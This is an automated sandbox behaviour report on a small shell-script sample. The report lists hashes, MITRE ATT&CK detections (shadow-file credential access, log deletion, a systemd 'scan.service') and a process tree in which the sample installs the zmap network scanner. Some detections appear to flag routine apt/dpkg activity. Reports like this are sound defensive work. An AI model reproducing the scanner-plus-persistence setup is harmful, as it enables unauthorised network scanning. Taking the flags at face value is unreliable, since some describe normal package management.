680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5

Analysis

max time kernel
92s
max time network
64s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
06/11/2024, 02:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
Size 500B
Sample241106-dajqhatgll
SHA256 680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5
MD5 c66fb280aafa015fa6190cebc3662794
SHA1 517a8951ff5513999d8cc5e1c7d8925822855043
SHA512 62a24b84e131484ca7f12a78d89c868618196740ba3c77a68739b94c23e01cad011b60c2db6cbacab2a52eb1c0f0661e8f0519677db9cdb87fc352baa41febbe
MD5 SHA1 SHA512

Score

7^/10

credential_access defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1032	chmod

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	dpkg-preconfigure

Deletes log files 1 TTPs 1 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/apt/eipp.log.xz	apt-get

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/scan.service	680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh

Write file to user bin folder 3 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/sbin/zblacklist.dpkg-new	dpkg
File opened for modification	/usr/sbin/zmap.dpkg-new	dpkg
File opened for modification	/usr/sbin/ztee.dpkg-new	dpkg

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/crypto/fips_enabled	gpgconf
File opened for reading	/proc/sys/crypto/fips_enabled	gpg-connect-agent
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	gpgconf
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/sys/crypto/fips_enabled	gpgv
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/sys/crypto/fips_enabled	gpgconf
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	gpgv
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	gpgconf
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/crypto/fips_enabled	gpgconf
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/sys/crypto/fips_enabled	gpg-connect-agent
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config

System Network Configuration Discovery 1 TTPs 16 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
986	dpkg-split
995	dpkg-split
986	dpkg-split
986	dpkg-split
1004	dpkg-split
1013	dpkg-split
1013	dpkg-split
986	dpkg-split
995	dpkg-split
1004	dpkg-split
1013	dpkg-split
1013	dpkg-split
995	dpkg-split
995	dpkg-split
1004	dpkg-split
1004	dpkg-split

Writes file to tmp directory 34 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/apt.conf.6pTGxc	gpgv
File opened for modification	/tmp/apt.sig.kFLWSh	gpgv
File opened for modification	/tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.orig.gpg	cp
File opened for modification	/tmp/fileutl.message.cEErpO	apt-get
File opened for modification	/tmp/apt-key-gpghome.MVZJYBUA1z/gpg.1.sh	apt-key
File opened for modification	/tmp/fileutl.message.K3gmA3	apt-get
File opened for modification	/tmp/fileutl.message.5XcMxI	apt-get
File opened for modification	/tmp/apt.data.MD3nsm	gpgv
File opened for modification	/tmp/apt-key-gpghome.iSNZI07d1u/pubring.orig.gpg	cp
File opened for modification	/tmp/apt.conf.43MCrw	gpgv
File opened for modification	/tmp/apt.data.qddIJe	gpgv
File opened for modification	/tmp/fileutl.message.OrXoaw	apt-get
File opened for modification	/tmp/fileutl.message.cjTCMG	apt-get
File opened for modification	/tmp/fileutl.message.OLWcFo	apt-get
File opened for modification	/tmp/apt.conf.P76M2a	gpgv
File opened for modification	/tmp/fileutl.message.pfivoe	apt-get
File opened for modification	/tmp/apt-key-gpghome.iSNZI07d1u/gpg.1.sh	apt-key
File opened for modification	/tmp/apt.sig.oHCrBS	gpgv
File opened for modification	/tmp/fileutl.message.7cA8y6	apt-get
File opened for modification	/tmp/fileutl.message.OR5QFe	apt-get
File opened for modification	/tmp/fileutl.message.BQhKAp	apt-get
File opened for modification	/tmp/fileutl.message.XLxgOU	apt-get
File opened for modification	/tmp/fileutl.message.j18EvX	apt-get
File opened for modification	/tmp/fileutl.message.cyZpUy	apt-get
File opened for modification	/tmp/fileutl.message.bcM6DN	apt-get
File opened for modification	/tmp/fileutl.message.ecD7MS	apt-get
File opened for modification	/tmp/apt-key-gpghome.iSNZI07d1u/pubring.gpg	touch
File opened for modification	/tmp/apt-key-gpghome.3bKuZhQ7f4/gpg.1.sh	apt-key
File opened for modification	/tmp/fileutl.message.xV1Cr7	apt-get
File opened for modification	/tmp/apt-key-gpghome.iSNZI07d1u/pubring.gpg	apt-key
File opened for modification	/tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.gpg	touch
File opened for modification	/tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.gpg	apt-key
File opened for modification	/tmp/fileutl.message.65xBUk	apt-get
File opened for modification	/tmp/fileutl.message.vnLrdR	apt-get

Software Deployment Tools 1 TTPs 7 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
964	apt-get
986	dpkg-split
995	dpkg-split
1004	dpkg-split
1013	dpkg-split
1022	dpkg
704	apt-get

/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
1⤵
- Modifies systemd
PID:702
- /usr/bin/apt-get
  apt-get update
  2⤵
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:704
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:712
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:721
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    PID:724
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    PID:728
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:731
- - /usr/lib/apt/methods/gpgv
    /usr/lib/apt/methods/gpgv
    3⤵
    PID:735
- - /usr/lib/apt/methods/gpgv
    /usr/lib/apt/methods/gpgv
    3⤵
    - Reads runtime system information
    - Writes file to tmp directory
    PID:736
  - - /usr/bin/apt-key
      /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /tmp/apt.sig.kFLWSh /tmp/apt.data.MD3nsm
      4⤵
      Writes file to tmp directory
      PID:739
    - - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        5⤵
        Reads runtime system information
        
        PID:741
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:742
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        5⤵
        Reads runtime system information
        
        PID:743
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:744
    - - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        5⤵
        Reads runtime system information
        
        PID:745
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:746
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        5⤵
        
        PID:747
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:748
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring
        5⤵
        Reads runtime system information
        
        PID:749
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:750
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f
        5⤵
        Reads runtime system information
        
        PID:751
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:752
    - - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        5⤵
        Reads runtime system information
        
        PID:754
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:755
    - - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        5⤵
        
        PID:756
    - - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.iSNZI07d1u
        5⤵
        
        PID:757
    - - /bin/readlink
        
        readlink -f /tmp/apt-key-gpghome.iSNZI07d1u
        5⤵
        
        PID:758
    - - /bin/rm
        
        rm -f /tmp/apt-key-gpghome.iSNZI07d1u/pubring.gpg
        5⤵
        
        PID:759
    - - /usr/bin/touch
        
        touch /tmp/apt-key-gpghome.iSNZI07d1u/pubring.gpg
        5⤵
        Writes file to tmp directory
        
        PID:760
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d
        5⤵
        
        PID:761
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:762
    - - /bin/readlink
        
        readlink -f /etc/apt/trusted.gpg.d/
        5⤵
        
        PID:763
    - - /usr/bin/find
        
        find /etc/apt/trusted.gpg.d -mindepth 1 -maxdepth 1 "(" -name "*.gpg" -o -name "*.asc" ")"
        5⤵
        
        PID:764
    - - /usr/bin/sort
        
        sort
        5⤵
        
        PID:767
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
        5⤵
        
        PID:769
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
        5⤵
        
        PID:771
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
        5⤵
        
        PID:773
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
        5⤵
        
        PID:775
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
        5⤵
        
        PID:777
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
        5⤵
        
        PID:779
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
        5⤵
        
        PID:781
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
        5⤵
        
        PID:783
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
        5⤵
        
        PID:785
    - - /bin/cp
        
        cp -a /tmp/apt-key-gpghome.iSNZI07d1u/pubring.gpg /tmp/apt-key-gpghome.iSNZI07d1u/pubring.orig.gpg
        5⤵
        Writes file to tmp directory
        
        PID:786
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        Reads runtime system information
        
        PID:789
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        Reads runtime system information
        
        PID:792
    - - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.iSNZI07d1u --keyring /tmp/apt-key-gpghome.iSNZI07d1u/pubring.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.kFLWSh /tmp/apt.data.MD3nsm
        5⤵
        
        PID:793
    - - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        5⤵
        Reads runtime system information
        
        PID:796
      - /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        6⤵
        Reads runtime system information
        
        PID:797
    - - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.iSNZI07d1u
        5⤵
        
        PID:798
  - - /usr/bin/apt-key
      /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release.gpg /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release
      4⤵
      Writes file to tmp directory
      PID:802
    - - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        5⤵
        Reads runtime system information
        
        PID:805
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:807
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        5⤵
        Reads runtime system information
        
        PID:809
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:811
    - - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        5⤵
        
        PID:813
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:815
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        5⤵
        
        PID:817
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:819
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring
        5⤵
        Reads runtime system information
        
        PID:821
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:823
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f
        5⤵
        Reads runtime system information
        
        PID:826
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:828
    - - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        5⤵
        
        PID:831
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:833
    - - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        5⤵
        
        PID:835
    - - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.3bKuZhQ7f4
        5⤵
        
        PID:836
    - - /bin/readlink
        
        readlink -f /tmp/apt-key-gpghome.3bKuZhQ7f4
        5⤵
        
        PID:837
    - - /bin/rm
        
        rm -f /tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.gpg
        5⤵
        
        PID:839
    - - /usr/bin/touch
        
        touch /tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.gpg
        5⤵
        Writes file to tmp directory
        
        PID:840
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d
        5⤵
        Reads runtime system information
        
        PID:842
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:844
    - - /bin/readlink
        
        readlink -f /etc/apt/trusted.gpg.d/
        5⤵
        
        PID:846
    - - /usr/bin/find
        
        find /etc/apt/trusted.gpg.d -mindepth 1 -maxdepth 1 "(" -name "*.gpg" -o -name "*.asc" ")"
        5⤵
        
        PID:847
    - - /usr/bin/sort
        
        sort
        5⤵
        
        PID:850
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
        5⤵
        
        PID:853
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
        5⤵
        
        PID:856
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
        5⤵
        
        PID:858
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
        5⤵
        
        PID:860
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
        5⤵
        
        PID:863
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
        5⤵
        
        PID:865
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
        5⤵
        
        PID:868
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
        5⤵
        
        PID:870
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
        5⤵
        
        PID:872
    - - /bin/cp
        
        cp -a /tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.gpg /tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.orig.gpg
        5⤵
        Reads runtime system information
        Writes file to tmp directory
        
        PID:874
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        Reads runtime system information
        
        PID:878
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        Reads runtime system information
        
        PID:881
    - - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.3bKuZhQ7f4 --keyring /tmp/apt-key-gpghome.3bKuZhQ7f4/pubring.gpg --ignore-time-conflict --status-fd 3 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release.gpg /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release
        5⤵
        Reads runtime system information
        
        PID:883
    - - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        5⤵
        Reads runtime system information
        
        PID:886
      - /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        6⤵
        Reads runtime system information
        
        PID:887
    - - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.3bKuZhQ7f4
        5⤵
        
        PID:889
  - - /usr/bin/apt-key
      /usr/bin/apt-key --quiet --readonly --keyring /etc/apt/keyrings/nodesource.gpg verify --status-fd 3 /tmp/apt.sig.oHCrBS /tmp/apt.data.qddIJe
      4⤵
      Writes file to tmp directory
      PID:895
    - - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        5⤵
        
        PID:897
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:899
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        5⤵
        Reads runtime system information
        
        PID:901
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:903
    - - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        5⤵
        Reads runtime system information
        
        PID:906
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:907
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        5⤵
        Reads runtime system information
        
        PID:909
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:910
    - - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        5⤵
        Reads runtime system information
        
        PID:913
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        Reads runtime system information
        
        PID:914
    - - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        5⤵
        
        PID:915
    - - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.MVZJYBUA1z
        5⤵
        
        PID:916
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        
        PID:920
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        Reads runtime system information
        
        PID:923
    - - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.MVZJYBUA1z --keyring /etc/apt/keyrings/nodesource.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.oHCrBS /tmp/apt.data.qddIJe
        5⤵
        
        PID:925
    - - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        5⤵
        Reads runtime system information
        
        PID:926
      - /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        6⤵
        
        PID:927
    - - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.MVZJYBUA1z
        5⤵
        
        PID:928
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:929
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:963
- /usr/bin/apt-get
  apt-get install -y zmap
  2⤵
  - Deletes log files
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:964
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:965
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:966
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:967
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:968
- - /bin/sh
    /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
    3⤵
    PID:969
  - - /usr/sbin/dpkg-preconfigure
      /usr/sbin/dpkg-preconfigure --apt
      4⤵
      OS Credential Dumping
      PID:970
    - - /usr/local/sbin/locale
        
        locale charmap
        5⤵
        
        PID:971
    - - /usr/local/bin/locale
        
        locale charmap
        5⤵
        
        PID:971
    - - /usr/sbin/locale
        
        locale charmap
        5⤵
        
        PID:971
    - - /usr/bin/locale
        
        locale charmap
        5⤵
        
        PID:971
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:972
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:973
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:974
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:975
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:976
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:977
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:978
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:979
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:980
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:981
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:982
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:983
- - /usr/bin/dpkg
    /usr/bin/dpkg --assert-multi-arch
    3⤵
    - Reads runtime system information
    PID:984
- - /usr/bin/dpkg
    /usr/bin/dpkg --status-fd 14 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb /var/cache/apt/archives/libpcap0.8_1.8.1-3_mipsel.deb /var/cache/apt/archives/libjson-c3_0.12.1-1.1_mipsel.deb /var/cache/apt/archives/zmap_2.1.1-2+b3_mipsel.deb
    3⤵
    - Write file to user bin folder
    - Reads runtime system information
    PID:985
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      System Network Configuration Discovery
      PID:986
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      System Network Configuration Discovery
      PID:986
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      System Network Configuration Discovery
      PID:986
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      System Network Configuration Discovery
      Software Deployment Tools
      PID:986
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:987
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:987
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:987
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:987
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:990
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:990
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:990
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:990
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:990
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:990
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      PID:991
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      PID:991
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      PID:991
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/libhiredis0.13_0.13.3-2_mipsel.deb
      4⤵
      PID:991
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:994
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:994
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:994
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:994
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
